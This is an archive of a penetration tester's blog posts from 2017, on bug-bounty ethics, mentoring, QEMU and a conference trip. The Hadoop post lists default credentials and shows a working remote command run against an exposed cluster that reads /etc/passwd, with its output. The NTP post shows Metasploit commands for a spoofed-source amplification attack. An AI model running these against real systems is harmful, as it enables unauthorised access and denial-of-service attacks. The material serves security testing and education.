Thursday, June 29, 2017

Follow up to the vuln disclosure post

Summary of responses from this post: http://carnal0wnage.attackresearch.com/2017/06/vulnerability-disclosure-free-bug.html

I wanted to document/summarize some of the responses I received and some of the insights I gained via self observation and my interactions with others on the topic.

I received a few replies (less than I hoped for though). To summarize a few:

-I'm not a greedy bastard for thinking it would "be nice" to get paid for reporting a vuln but I should not expect them.

-Bug Bounty awards are appreciation for the work not a right.

-Someone made a nice analogy to losing AWS/Slack keys to losing a cell phone or cat.  Every person might value the return of that cat or phone differently.

-I'm super late to the game if I want to get on the "complain about bug bounties / compensation" train.  **I think this is not quite the same situation but I appreciate the comment**

-The bigger the company, the harder it is to issue an ad-hoc reward if they don't have an established process.

-They [the vulns] have value - just not monetary. The value is to the end-user.

-Generally speaking, I [the author of the comment] think quite a lot of the BB crowd have a self-entitled, bad attitude.

-Always ask yourself if this will hurt innocent people. If so, report it, but make sure the public knows that they f*cked it up.

This blog post reply: https://blog.anantshri.info/response-vulnerability-disclosure-free-bug-reports-greedy-bastard/
---

I got a variety responses from it's the right thing to do... up to if they don't pay up, they don't get the info. Collectively,  I don't think we are any closer to an answer.

To get a bit more personal on the subject. I think this piece from Ferris Bueller's Day Off sums it up to an extent:

https://www.youtube.com/watch?v=H19uKs99vIw&feature=youtu.be&t=1m15s

"The problem is with me"


I've been giving quite a bit of thought to what component of the process brings me the most excitement and enjoyment.  I believe I have identified what component brings me the most enjoyment and will focus on that piece and work to manage any expectations I place on others.

I very much appreciate everyone that engaged in the conversation with me.

More things to think about for sure :-)







Monday, June 26, 2017

Vulnerability Disclosure, Free Bug Reports & Being a Greedy Bastard

Backstory:

Most of my life I've been frustrated/intrigued that my Dad was constantly upset that he would "do the right thing" by people and in return people wouldn't show him gratitude... up to straight up fucking him over in return. Over and over the same cycle would repeat of him doing right by someone only to have that person not reciprocate.

The above is important as it relates to the rest of the post and topic(s).

I was relaying some frustrations to a close non-infosec friend about my experience of discovering  companies had made some fairly serious Internet security uh ohs... like misconfigured s3 buckets full of db backups and creds, root AWS keys checked into github, or slack tokens checked into github/pastebin that would give companies a "REALLY bad day".  These companies had been receptive to the reporting and fixed the problem but did NOT have bug bounty programs and thus did not pay a bounty for the reporting of the issue.

My friend, with some great insight and observation, suggested that I was getting frustrated and doing exactly the same thing my Dad was doing by having assumptions on how other people should behave.

So this blog post is an attempt for me to work thru some of these issues and have a discussion about the topics.


Questions I don't necessarily have answers for:

1. Does a vulnerability I wasn't asked to find have value?

2. If someone outside your company reports an issue and you fix it, does that issue/report now have value/deserve to be paid for (bug bounty)?

3a. If #1 or #2 is Yes, when a business doesn't have a Bug Bounty program, are they morally/ethically/peer pressure obligated to pay something?  If they have a BB program I think most people agree yes. But what about when they don't?

3b. Does the size of the business make a difference? If so, what level?  mom and pop maybe not, VC funded startup?  30 billion dollar Hedge Fund?

4. Is a "Thanks Bro!" enough or have we evolved as a society where basically everything deserves some sort of monetary reward. After being an observer for two BB programs...."f**k you pay me" seems to be the current attitude. If they did a public "Thanks Bro" does that make a difference/satisfy my ego?

5a. Is "making the Internet safer" enough of a reward?

5b. Does a company with an open S3 bucket make the Internet less safe? Does a company leaking client data make the Internet less safe? [I think Yes]
Does a company leaking their OWN data make the Internet less safe? [It's good for their competitors]

If they get ransomeware'd or their EC2 infra shut down/turned off/deleted codespaces style am I somewhat (morally) responsible if I didn't report it?

6. Does ignoring a pretty signifiant issue for a company make me a "bad person"?

7a. Am I a "bad person" if I want $$$ for reporting the issue?

7b. If yes, is that because I make $X and I'm being a greedy bastard? What if I made way less money?

7c. Does ignoring/not reporting an issue because I probably wont get $$ make me a "bad person"? numbers 1-3 come into play here for sure


My last two jobs, I've worked for companies that had Bug Bounty programs so my opinion on the above is DEFINITELY shaped by working for companies that  get it understand and care about their security posture and do feel that reporting security issues by outside researchers has monetary value. An added benefit to have a program, especially through one of the BB vendors, is that you get to NDA the researchers and you get to control disclosure.


Thoughts/comments VERY welcome on this one.  Leaving comments seems out of style now but I do have open DM on twitter if you want to go that route.  I have a few real world experiences with this where I let some companies know some pretty serious stuff (slack token with access to corp slack, S3 buckets with creds/db backups, and root aws keys checked into github for weeks) where it was fixed with no drama but no bounty paid.


-CG

Tuesday, June 20, 2017

NTP/SNMP amplification attacks

I needed to verify a SNMP and NTP amplification vulnerability was actually working.

Metasploit  has a few scanners for ntp vulns in the auxiliary/scanner/ntp/ntp_* and it will report hosts as being vulnerable to amplification attacks.

msf auxiliary(ntp_readvar) > run

[*] Sending NTP v2 READVAR probes to 1.1.1.1->1.1.1.1 (1 hosts)

[+] 1.1.1.1:123 - Vulnerable to NTP Mode 6 READVAR DRDoS: No packet amplification and a 34x, 396-byte bandwidth amplification


I've largely not paid attention to these types of attacks in the past but in this case needed to validate I could get the vulnerable host to send traffic to a target/spoofed IP.

I set up 2 boxes to run the attack; an attack box and a target box that I used as the spoofed source IP address.  I  ran tcpdump on the target/spoofed server (yes...listening for UDP packets) it was receiving no UDP packets when I ran the attack.  If I didn't spoof the source IP,  the vulnerable server would send data back to the attacker IP but not the spoofed IP.

Metasploit (running as root) can spoof the IP for you:

msf auxiliary(ntp_readvar) > set SRCIP 2.2.2.2
SRCIP => 2.2.2.2
msf auxiliary(ntp_readvar) > run

[*] Sending NTP v2 READVAR probes to 1.1.1.1->1.1.1.1 (1 hosts)

[*] Sending 1 packet(s) to 1.1.1.1 from 2.2.2.2

To rule out it wasn't a Metasploit thing I also worked thru the attack with scapy following the examples here:
http://www.nothink.org/misc/snmp_reflected.php

So I asked on Twitter...fucking mistake...after getting past the trolls and well intentioned people that didn't think I understood basic networking/spoofing at all (heart u) link #1,  link #2 as the likely reason I couldn't spoof the IP. As well as a hint that the last time someone got it to work they had to rent a physical server in a dodgy colo.

A bit of reading later I found https://spoofer.caida.org/recent_tests.php which allows you to check and see if a particular ASN supports spoofing along with the stats that only 20% of the Internet allows spoofing.




source: https://spoofer.caida.org/summary.php

Checking common ISP and cloud provider ASNs showed that most weren't vulnerable to spoofing.

So mystery solved and another aux module/vuln scanner result that can be quickly triaged and/or ignored.

If someone has had different results please let me know.


P.S.
Someone asked if the vuln host was receiving the traffic. I couldn't answer for the initial host but to satisfy my curiosity on the issue  I built a vulnerable NTP server and it did NOT receive the traffic even with hosts from the same VPS provider in the same data center (different subnets).







Wednesday, June 7, 2017

Mentoring: On meeting your **Heroes**

Mentoring: On meeting your  **Heroes**

I put heroes in asterisks because none of us have paparazzi following us around. I regularly use Val Smith's quote about even the most popular infosec person is like being a famous bowler.  Except for rare exceptions, no one outside of our community knows who we are. I've broken into at least one company from every vertical and my neighbor just asks me to help configure his wifi.




This topic came up because the person I'm mentoring met "a famous infosec person" and the guy proceed to be a drunk dbag to him.  It ended up taking quite a bit of wind out of his sail to have someone he kinda looked up to bag on his current career state and talks he was working on.

When I first joined the army how I thought anyone with a "tower of power" (Expert Infantry Badge, Airborne, Air Assault) was an awesome, do no wrong, individual.  Shit, If someone has all this shit on their chest they must be badass right??!!
For more info on badges: https://en.wikipedia.org/wiki/Badges_of_the_United_States_Army

Well the Army does a great job of stacking the people you initially meet as being pretty decent individuals. I think most people think highly of their drill sergeants their entire life.  So the first few people I met that had these badges reaffirmed this belief.  Then I got out and met a few more and was completely let down at the quality of these people.  When I say let down, I mean defeated/totally bothered that these people didn't live up to the pedestal I had put them on. It REALLY bothered me.

What you learn is that in the military you get to wear a badge you earned at any point in your career your entire career.  So maybe as some point someone was awesome enough to earn a badge. This doesn't mean they are a great leader, still good at what the badge means they are good at or even a good person. It means at one point in time they met a criteria and earned a badge.

How does this relate to Infosec?

We are all humans and generally react poorly to any sort of fame.

A good chunk of us are introverts.

The "community" values exploits and clever hacks over being a good person or helping others.

We have people that 10 years later are still riding the vapor trails of some awesome shit they did but havent done anything else relevant since.  Some people have giant egos that only care about you if you are currently in the process of kissing their ass.  To be fair if people ARE kissing your ass its hard not get an ego but you have to work hard to check that shit at the door.

Remember we are famous bowlers?


What can you do?

Check your ego.

Stay Humble.

Help (mentor) others.

Always remember how you felt when that hero dissed you when you are someone else's hero.


-CG





Monday, June 5, 2017

DevOoops: Hadoop

What is Hadoop?

"The Apache Hadoop software library is a framework that allows for the distributed processing of large data sets across clusters of computers using simple programming models. It is designed to scale up from single servers to thousands of machines, each offering local computation and storage. Rather than rely on hardware to deliver high-availability, the library itself is designed to detect and handle failures at the application layer, so delivering a highly-available service on top of a cluster of computers, each of which may be prone to failures."
from: http://hadoop.apache.org/

If you've ever heard of MapReduce...you've heard of Hadoop.

NFI what i'm talking a bout? Here is a 3minute video on it: https://www.youtube.com/watch?v=8wjvMyc01QY

What are common issues with MapReduce / Hadoop?

Hadoop injection points from Kaluzny zeronights talk:



Hue

Common defaults admin/admin, cloudera/cloudera



Although occasionally you'll find one that will just let you pick your own :-)

If you gain access, full HDFS access, run queries, etc


HDFS WebUI
HDFS exposes a web server which is capable of performing basic status monitoring and file browsing operations. By default this is exposed on port 50070 on the NameNode. Accessing http://namenode:50070/ with a web browser will return a page containing overview information about the health, capacity, and usage of the cluster (similar to the information returned by bin/hadoop dfsadmin -report).





From this interface, you can browse HDFS itself with a basic file-browser interface. Each DataNode exposes its file browser interface on port 50075.





update: The hadoop attack library is worth checking out.
https://github.com/wavestone-cdt/hadoop-attack-library

Most up-to-date presentation on hadoop attack library: https://www.slideshare.net/phdays/hadoop-76515903

There is a piece around RCE (https://github.com/CERT-W/hadoop-attack-library/tree/master/Tools%20Techniques%20and%20Procedures/Executing%20remote%20commands)

You'll need info found in ip:50070/conf





TLDR; find the correct open Hadoop ports and run a map reduce job against the remote hadoop server. 
You need to be able to access the following Hadoop services through the network:
  • YARN ResourceManager: usually on ports 8030, 8031, 8032, 8033 or 8050
  • NameNode metadata service in order to browse the HDFS datalake: usually on port 8020
  • DataNode data transfer service in order to upload/download file: usually on port 50010


Let's see it in action:


lookupfailed-2:hadoop CG$ hadoop jar /usr/local/Cellar/hadoop/2.7.3/libexec/share/hadoop/tools/lib/hadoop-streaming-2.7.3.jar -input /tmp/a.txt -output blah_blah -mapper "/bin/cat /etc/passwd" -reducer NONE

17/01/05 22:11:40 WARN util.NativeCodeLoader: Unable to load native-hadoop library for your platform... using builtin-java classes where applicable
packageJobJar: [/var/folders/r8/6hjsj3h92wn82btldp7zlyb40000gn/T/hadoop-unjar5960812935334004257/] [] /var/folders/r8/6hjsj3h92wn82btldp7zlyb40000gn/T/streamjob4422445860444028358.jar tmpDir=null
17/01/05 22:11:41 INFO client.RMProxy: Connecting to ResourceManager at nope.members.linode.com/1.2.3.4:8032
17/01/05 22:11:41 INFO client.RMProxy: Connecting to ResourceManager at nope.members.linode.com/1.2.3.4:8032
17/01/05 22:11:43 INFO mapred.FileInputFormat: Total input paths to process : 1
17/01/05 22:11:43 INFO mapreduce.JobSubmitter: number of splits:2
17/01/05 22:11:44 INFO mapreduce.JobSubmitter: Submitting tokens for job: job_1483672290130_0001
17/01/05 22:11:45 INFO impl.YarnClientImpl: Submitted application application_1483672290130_0001
17/01/05 22:11:45 INFO mapreduce.Job: The url to track the job: http://nope.members.linode.com:8088/proxy/application_1483672290130_0001/
17/01/05 22:11:45 INFO mapreduce.Job: Running job: job_1483672290130_0001
17/01/05 22:12:00 INFO mapreduce.Job: Job job_1483672290130_0001 running in uber mode : false
17/01/05 22:12:00 INFO mapreduce.Job:  map 0% reduce 0%
17/01/05 22:12:10 INFO mapreduce.Job:  map 100% reduce 0%
17/01/05 22:12:11 INFO mapreduce.Job: Job job_1483672290130_0001 completed successfully
17/01/05 22:12:12 INFO mapreduce.Job: Counters: 30
File System Counters
FILE: Number of bytes read=0
FILE: Number of bytes written=240754
FILE: Number of read operations=0
FILE: Number of large read operations=0
FILE: Number of write operations=0
HDFS: Number of bytes read=222
HDFS: Number of bytes written=2982
HDFS: Number of read operations=10
HDFS: Number of large read operations=0
HDFS: Number of write operations=4
Job Counters 
Launched map tasks=2
Data-local map tasks=2
Total time spent by all maps in occupied slots (ms)=21171
Total time spent by all reduces in occupied slots (ms)=0
Total time spent by all map tasks (ms)=21171
Total vcore-milliseconds taken by all map tasks=21171
Total megabyte-milliseconds taken by all map tasks=21679104
Map-Reduce Framework
Map input records=1
Map output records=56
Input split bytes=204
Spilled Records=0
Failed Shuffles=0
Merged Map outputs=0
GC time elapsed (ms)=279
CPU time spent (ms)=1290
Physical memory (bytes) snapshot=209928192
Virtual memory (bytes) snapshot=3763986432
Total committed heap usage (bytes)=65142784
File Input Format Counters 
Bytes Read=18
File Output Format Counters 
Bytes Written=2982
17/01/05 22:12:12 INFO streaming.StreamJob: Output directory: blah_blah

lookupfailed-2:hadoop CG$ hadoop fs -ls blah_blah
17/01/05 22:12:22 WARN util.NativeCodeLoader: Unable to load native-hadoop library for your platform... using builtin-java classes where applicable
Found 3 items
-rw-r--r--   3 root supergroup          0 2017-01-05 22:12 blah_blah/_SUCCESS
-rw-r--r--   3 root supergroup       1491 2017-01-05 22:12 blah_blah/part-00000
-rw-r--r--   3 root supergroup       1491 2017-01-05 22:12 blah_blah/part-00001

lookupfailed-2:hadoop CG$ hadoop fs -cat blah_blah/part-00001
17/01/05 22:12:49 WARN util.NativeCodeLoader: Unable to load native-hadoop library for your platform... using builtin-java classes where applicable

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
messagebus:x:106:110::/var/run/dbus:/bin/false
uuidd:x:107:111::/run/uuidd:/bin/false
sshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin
hduser:x:1000:1000:,,,:/home/hduser:/bin/bash



http://archive.hack.lu/2016/Wavestone%20-%20Hack.lu%202016%20-%20Hadoop%20safari%20-%20Hunting%20for%20vulnerabilities%20-%20v1.0.pdf

Walks you thru how to get reverse shells or meterpreter shells (windows) if you can run commands.




Resources:
http://2015.zeronights.org/assets/files/03-Kaluzny.pdf

video of above talk from appsecEU 2015 https://www.youtube.com/watch?v=ClXKGI8AzTk
http://hackedexistence.com/downloads/Cloud_Security_in_Map_Reduce.pdf

https://media.blackhat.com/bh-us-10/presentations/Becherer/BlackHat-USA-2010-Becherer-Andrew-Hadoop-Security-slides.pdf 

https://securosis.com/assets/library/reports/Securing_Hadoop_Final_V2.pdf

https://github.com/CERT-W/hadoop-attack-library

https://www.sans.org/score/checklists/cloudera-security-hardening

http://archive.hack.lu/2016/Wavestone%20-%20Hack.lu%202016%20-%20Hadoop%20safari%20-%20Hunting%20for%20vulnerabilities%20-%20v1.0.pdf

http://www.cloudera.com/documentation/enterprise/latest/topics/cdh_ig_ports_cdh5.html


What did I miss?  Anything to add?

Monday, May 29, 2017

Raspbian/Kano OS in QEMU

Quick notes


I wanted to be able to boot the Kano OS in a virtual machine so i could play hack minecraft with the kids and play along with the Kano OS desktop/games.  I was trying to avoid plugging a raspberry pi into an monitor to use and wanted to use it on my local laptop.

Well, not so easy. VirtualBox/VMware dont support ARM. However QEMU does.

This repo (https://github.com/dhruvvyas90/qemu-rpi-kernel/wiki/Emulating-Jessie-image-with-4.x.xx-kernel) had the recent raspberry pi kernels to use with QEMU.

If you follow the steps on that page with regards to mounting the image and editing /etc/ld.so.preload and /etc/fstab I was able to get the image to boot up successfully...slow as hell...but it technically was working.

command to boot with vnc:


$ qemu-system-arm -vnc :1 -kernel qemu-rpi-kernel/kernel-qemu-4.4.34-jessie -cpu arm1176 -m 256 -M versatilepb  -append "root=/dev/sda2 rootfstype=ext4 rw"  -hda Kanux-Beta-v3.9.0-Lovelace-jessie-rc-2017-03-23_04-48.img

OS with vnc:





I was so horribly slow i don't think this is feasible.  I am going to try using libvirt to make it better or just see if i can play hack minecraft another way.  If I get anywhere further with the project i'll post an update.




Wednesday, March 29, 2017

InsomniaHack Trip Report


Insomni'Hack Info:
https://insomnihack.ch/



Favorite talks
Bridging the gap between ICS(IoT?) and corporate IT security
Stefan Lüders

I really enjoyed this talk hearing how an organization defends in a BYOD & academic environment. Defense is difficult when you control the hosts, even more so when you you cant instrument the host and have to rely on network controls only.

My favorite slide was their alerting stack:


Not sure when the slides will be released but here is an older version of the talk I found:
https://www.blackhat.com/docs/us-14/materials/us-14-Luders-Why-Control-System-Cyber-Security-Sucks.pdf

How we hacked Distributed Configuration Management Systems
Francis Alexander & Bharadwaj Machiraj

Awesome talk on breaking into 

  • HashiCorp Consul
  • Apache Zookeeper
  • CoreOS etcd
Tool they created:
https://github.com/torque59/Garfield


Modern reconnaissance phase on APT – protection layer
Paul Rascagnères

Fun talk on how APT have been implementing some checks to make sure the targets are valid prior to sending down the final stage of the attack. 

CERN
@cktricky and I also were able to give the talk at CERN. Background info on CERN: https://en.wikipedia.org/wiki/CERN

Archive of the talk:

Cool Pix:
Dropping Knowledge


Synchrocyclotron


Outside the Antimatter Factory

Thanks Twitter :-)